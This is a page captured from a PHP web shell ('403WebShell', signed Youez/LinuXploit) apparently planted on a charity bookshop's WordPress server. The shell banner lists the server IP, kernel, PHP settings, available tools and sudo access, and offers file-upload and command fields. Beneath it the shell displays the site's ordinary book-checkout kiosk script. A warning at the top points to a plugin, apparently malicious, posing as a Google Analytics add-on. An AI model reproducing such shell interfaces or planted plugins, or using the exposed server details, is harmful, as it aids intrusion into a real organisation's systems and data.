Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hopeinstoughton_books/_oldsite/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hopeinstoughton_books/_oldsite/complete.php
<?php

	require './inc/include.php';
	
	$action = isset($_GET['id']) ? intval($_GET['id']) : 0;
	$tranid = isset($_GET['tid']) ? intval($_GET['tid']) : 0;

	$auth = isset($_COOKIE['auth']) ? $_COOKIE['auth'] : '';
	if ($auth != $VALIDATION && $USERID == '') ip_access_denied();
	$VARIABLE['menu_right'] = '';	
// mark the transaction as valid, put in the return date
	$DATABASE->Open();
//	$VARIABLE['footer'] = "Once the receipt has printed, please press SPACEBAR to continue. Receipts may be <a href=\"?tid=$tranid&amp;id=110\">reprinted</a> if you wish.";
	$VARIABLE['footer'] = "Please press the SPACEBAR to continue, or scan the DONE barcode.";
	$VARIABLE['title'] = 'Collect your Receipt';
	$VARIABLE['javascript'] .= <<<BLOCK

function keydown(e) {
	var key = e? e.which: window.event.keyCode;
	if (key == 32) {
		document.location.href = 'http://$HOST/terminal.php';
		return false;
	}
	return true;
}

document.onkeypress = keydown;
BLOCK;

	
	switch($action) {
		case BARCODE_CANCEL:
			$body = page1_CancelTransaction($tranid);
			break;
		case BARCODE_DONE:			// done
			$body = page2_TransactionComplete($tranid, TRUE);
			break;
		case 110:			// reprint
			$body = page2_TransactionComplete($tranid, FALSE);
			break;
		case 120:
			$body = Page4_PrintInvoice($tranid, FALSE);
			$body .= Page4a_LoanReceipt($tranid);
			break;
		case 130:
			$body = Page4_PrintInvoice($tranid, TRUE);
			$body .= Page4a_LoanReceipt($tranid);
			break;
		case BARCODE_PURCHASE:			// Purchase barcode used
			$body = Page3_Purchase($tranid);
			header("Location: http://$HOST/scanbooks.php?tid=$tranid");
			break;
		default:
// special code can not be used here - go back to scanbook
			header("Location: http://$HOST/scanbooks.php?tid=$tranid");
			$body = '';
			break;
	}

	$DATABASE->Close();

	$VARIABLE['javascript'] .= <<<BLOCK
function keydown(e) {
	var key = e? e.which: window.event.keyCode;
	if (key == 32) {
		document.location.href = 'http://$HOST/terminal.php';
		return false;
	}
	return true;
}

document.onkeypress = keydown;

BLOCK;

	if ($body == '*') {
// nothing to do - redirect ready for next client
		header("Location: http://$HOST/terminal.php");
	} elseif ($body != '') {
		echo page_header('Complete');
		echo <<<BLOCK
<h2>Quick Checkout</h2>

<h3>Step 3 of 3: {$VARIABLE['title']}</h3>

$body
<p>{$VARIABLE['footer']}</p>
<br><br>

BLOCK;
		
		echo page_footer();
	}
	
function page1_CancelTransaction($tid) {
	global $DATABASE, $VARIABLE;
	$VARIABLE['title'] = 'Cancelled';
	
	return <<<BLOCK
<br><br><br>
<p>Your transaction has been cancelled. Please return any books to the shelves<p>
<br><br><br><br><br><br>
BLOCK;
// remove transaction from the database
// go to transaction cancelled page
}

function _loadData($tranid, &$DATA, &$param, $update) {
	global $DATABASE;
	$DATA = $DATABASE->Lookup("select * from dt_tranh where bh_id=$tranid", 'dt_tranh');
	DatabaseError();
	if ($update) {
		$returndate = time() + 86400 * LOAN_DURATION;
		$DATA['bh_type'] = 'B';
		$DATA['bh_return'] = date('Y-m-d', $returndate);
		if (!isset($DATA['bh_total']) || $DATA['bh_total'] == '') $DATA['bh_total'] = 0;
		if (!isset($DATA['bh_paid']) || $DATA['bh_paid'] == '') $DATA['bh_paid'] = 0;
		$DATABASE->SaveRecord($DATA);
		DatabaseError();
	} else {
		$returndate = strtotime($DATA['bh_return']);
	}

// now check out all the books
	$param = array('member' => $DATA['bh_member'], 'invoice' => $tranid, 'count_loan' => 0, 'count_buy' => 0, 'total' => 0, 'update' => $update);
	$param = $DATABASE->Query("select dt_stockcode,dt_purchase from dt_trant where dt_tran=$tranid", '__checkout', $param);
	return $returndate;
}

function page2_TransactionComplete($tranid, $update) {
	global $DATABASE, $VARIABLE, $HOST;
	$returndate = _loadData($tranid, $DATA, $param, $update);

	if ($update) {
		$sql = "update dt_tranh set bh_total={$param['total']} where bh_id=$tranid";
		$DATABASE->Query($sql, '', 0);
		DatabaseError();
	}
// if books are being sold -> display invoice (print it also), then redirect back here to process loan books 
	if ($param['count_buy']) {
		_ShowCart($DATA, $param);
		$body = Action2_Checkout($param);
	} elseif ($param['count_loan']) {			// nothing being borrowed
		$body = Action1_LoanReport($DATA, $returndate, $update);
	} else {
		return '*';		// nothing to print out
	}
	
	return $body;
}

function Action1_LoanReport($DATA, $returndate, $update) {
	global $VARIABLE, $HOST;
	$tranid = $DATA['bh_id'];
	$ddate = date('l, F j, Y', $returndate);
	

$body = <<<BLOCK
<br><br><br>
<p>Thank you. Please return borrowed books on or before</p>
<h2>$ddate</h2>
<br><br><br><br>
BLOCK;

// automatically print receipt if first time, or reprint link is used
	if (!intval($DATA['bh_printed']) || !$update) {		// add the iframe window which will send the print commands to the local http server on port 1080
$body .= <<<BLOCK
<iframe width="10" height="10" frameborder="0" src="http://$HOST/print_receipt.php?tid=$tranid&amp;fn=b">
</iframe>
BLOCK;
	}
return $body;
	
}

function __checkout(&$ITEM, &$param) {
	global $DATABASE;
	$purchase = intval($ITEM['dt_purchase']);
	$dbarcode = $DATABASE->formatString($ITEM['dt_stockcode']);
	$DATA = $DATABASE->Lookup("select * from dt_stock where ds_barcode=$dbarcode", 'dt_stock');
	$DATA['ds_member'] = $param['member'];	
	$DATA['ds_invoice'] = $param['invoice'];
	$DATA['ds_stocktake'] = date('Y-m-d');		// this is the last date/time we physically saw the item
	if ($purchase) {
		$param['count_buy']++;
		$DATA['ds_out'] = date('Y-m-d');
		$param['total'] += ip_ItemCost($DATA);
	} else {
		if ($param['update']) {
			$DATA['ds_wear'] = intval($DATA['ds_wear']) + 1;
		}
		$param['count_loan']++;
	}
	$DATABASE->SaveRecord($DATA);
	DatabaseError();
	
// if anyone else has that same item checked out, mark it as being returned
	$sql = <<<BLOCK
update dt_trant set dt_returned=1
  where dt_returned=0 and dt_stockcode=$dbarcode and dt_tran<>{$param['invoice']}
BLOCK;
	$DATABASE->Query($sql, '', 0);
	DatabaseError();
	return 0;
}

// Mark the last book as wanting to be purchased
function Page3_Purchase($tranid) {
	global $DATABASE;
	$sql = "select * from dt_trant where dt_tran=$tranid order by dt_timestamp desc";
	$DATA = $DATABASE->Lookup($sql, 'dt_trant');
	if ($DATA['__existing']) {
		$DATA['dt_purchase'] = 1;
		$DATABASE->SaveRecord($DATA);
		DatabaseError();
	}
	return '';
}

function __showcart(&$ITEM, &$param) {
	$purchase = intval($ITEM['dt_purchase']);
	if ($purchase) {
		$title = ip_quote(ip_AsTitle($ITEM));
		$cost = ip_ItemCost($ITEM);
		
		$line = "<tr><td>$title</td></tr>\n".
				"<tr><td align=\"right\">$cost</td></tr>\n";
		$param .= $line;
	}
	
}

function _ShowCart(&$DATA, &$param) {
	global $VARIABLE, $PAYMET;
	$invoice = $param['invoice'];
	$VARIABLE['TOTAL'] = sprintf('%01.2f', $param['total']);
	$cart = ip_ReadTransaction($invoice, 0, '__showcart');

	$paymet = isset($DATA['bh_paymet']) ? $DATA['bh_paymet'] : '';
	if ($paymet != '') {
// display the details
		$pt = ifp_WithoutAccess($PAYMET[$paymet]);
		$ten = sprintf('%01.2f', $DATA['bh_tendered']);
		$pay = "<tr><td align=\"right\">$pt: &nbsp; <b>\$$ten</b></td></tr>";
		if (abs($DATA['bh_donated']) > 0.02) {
			$donate = sprintf('%01.2f', $DATA['bh_donated']);
			$pay .= "<tr><td align=\"right\">Donation: &nbsp; <b>\$$donate</b></td></tr>";
		}
		$chg = sprintf('%01.2f', $DATA['bh_tendered'] - $DATA['bh_paid'] - $DATA['bh_donated']);
		$pay .= "<tr><td align=\"right\">Change: &nbsp; <b>\$$chg</b></td></tr>";
	} else {
		$pay = '';
	}
	
	$VARIABLE['default_right'] = <<<BLOCK
<h4>&nbsp; Your Cart &nbsp;</h4>
<br>
<table border="0" width="100%">
$cart
<tr><td><hr></td></tr>
<tr><td align="right">Total: &nbsp; <b>\${$VARIABLE['TOTAL']}</b></td></tr>
$pay
</table>
<br>

BLOCK;

}

function Action2_Checkout(&$param) {
	global $DATABASE, $BASE_URL, $VARIABLE, $PAYMET;

	$cashonly = $param['member'] == -2;
	$invoice = $param['invoice'];

	if ($cashonly) unset($PAYMET['4']);
	
	$FIELDDEFS1 = array('pt' => array('opt' => INP_RADIO, 'list' => $PAYMET, 'lbl' => '&Payment Method', 'onchange' => 'changepay(this)'),
					    'tot' => array('opt' => INP_STRING | INP_DISPLAYONLY, 'lbl' => 'Invoice Total', 'sz' => 50),
					    'amt' => array('opt' => INP_STRING, 'lbl' => 'Amount &Tendered', 'sz' => 50, 'onblur' => 'updatechg()'),
					    'donate' => array('opt' => INP_STRING, 'lbl' => 'Donation', 'sz' => 50, 'onblur' => 'updatechg()'),
					    'chg' => array('opt' => INP_STRING, 'lbl' => 'Cha&nge', 'sz' => 50),
				 );	
	
	$errcount = ifp_PrepareData($DATA, '', '', $FIELDDEFS1);
	$data = $DATABASE->Lookup("select * from dt_tranh where bh_id=$invoice");
	if ($data['__existing']) {
		if ($data['bh_donated']) $VARIABLE['donate'] = $data['bh_donated'];
		if ($data['bh_tendered']) $VARIABLE['amt'] = $data['bh_tendered'];
	}
	
	if ($VARIABLE['pt'] == '') $VARIABLE['pt'] = '1';		// default to cash
	if ($VARIABLE['tot'] == '') $VARIABLE['tot'] = $VARIABLE['TOTAL'];
	$text = ifp_GeneratePage($FIELDDEFS1);

	$VARIABLE['javascript'] .= <<<BLOCK

function changefield(name, value) {
	var m = MM_findObj(name);
	m.thestyle = (m.style) ? m.style : m;
	m.thestyle.display = value;
}

function updatechg() {
	var a = MM_findObj('amt');
	var c = MM_findObj('chg');
	var d = MM_findObj('donate');
	var total = {$VARIABLE['TOTAL']};
	var av = isNaN(parseFloat(a.value)) ? 0 : parseFloat(a.value);
	var dv = isNaN(parseFloat(d.value)) ? 0 : parseFloat(d.value);
	var x = av - total - dv;
	c.value = (!isNaN(x)) ? CurrencyFormatted(x) : '';
}

function changepay(radio) {
	var disp = radio.value == '3' || radio.value == '4' ? 'none' : '';
	changefield('f_amt', disp);
	changefield('l_amt', disp);
	changefield('f_donate', disp);
	changefield('l_donate', disp);
	changefield('f_chg', disp);
	changefield('l_chg', disp);
}

BLOCK;
	
	$VARIABLE['footer'] = 'credit card processing is done through Google Checkout';
	$VARIABLE['title'] = 'Finalize Transaction';
	
	$body = <<<BLOCK
<br><br>
<fieldset style="width:450px"><legend>Please select your method of payment</legend>
<form method="post" action="http://$BASE_URL?id=120&amp;tid=$invoice" name="f"><table border="0" width="100%">
$text
<tr><td align="right"><input type="hidden" name="pg" value="2"><input type="submit" value="   continue   "></td></tr>
</table></form>
</fieldset>
<script type="text/javascript">document.f.amt.focus();</script>

BLOCK;
	
// print receipt, and also borrowed stuff at end
	return $body;
}

function Page4_PrintInvoice($tranid, $reprint) {
	global $DATABASE, $HOST;
	if (!$reprint && $_POST['pt'] == '3') {		// Credit Card
		header("Location: http://$HOST/credit_cards_are_not_accepted_yet");
		exit;
	}
	
//$param['count_loan']++;	
	
	$DATA = $DATABASE->Lookup("select * from dt_tranh where bh_id=$tranid", 'dt_tranh');
	if (!$reprint) {
		$DATA['bh_paymet'] = $_POST['pt'];
		$DATA['bh_tendered'] = floatval($_POST['amt']);
		$DATA['bh_donated'] = floatval($_POST['donate']);
		$DATA['bh_paid'] =  $DATA['bh_tendered'] - floatval($_POST['chg']) - $DATA['bh_donated'];
		$DATABASE->SaveRecord($DATA);
		DatabaseError();
	}
	$param['invoice'] = $tranid;
	$param['total'] = $DATA['bh_total'];
	_ShowCart($DATA, $param);
	
	if (!intval($DATA['bh_printedi'])) {
// this should print the invoice
// then include the loan stuff (if present) -- and print loan receipt
	return <<<BLOCK
<p>Please collect your docket from the receipt printer. This can be <a href="?tid=$tranid&amp;id=130">reprinted</a> if needed.</p>

<iframe width="10" height="10" frameborder="0" src="http://$HOST/print_receipt.php?tid=$tranid&amp;fn=s">
</iframe>

BLOCK;
	} else {
		return "<a href=\"?tid=$tranid&amp;id=130\">Preprint this docket</a>";
	}
}

function Page4a_LoanReceipt($tranid) {
	$returndate = _loadData($tranid, $DATA, $param, FALSE);
	if ($param['count_loan']) {
		return Action1_LoanReport($DATA, $returndate, FALSE);
	} else {
		return '';
	}
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit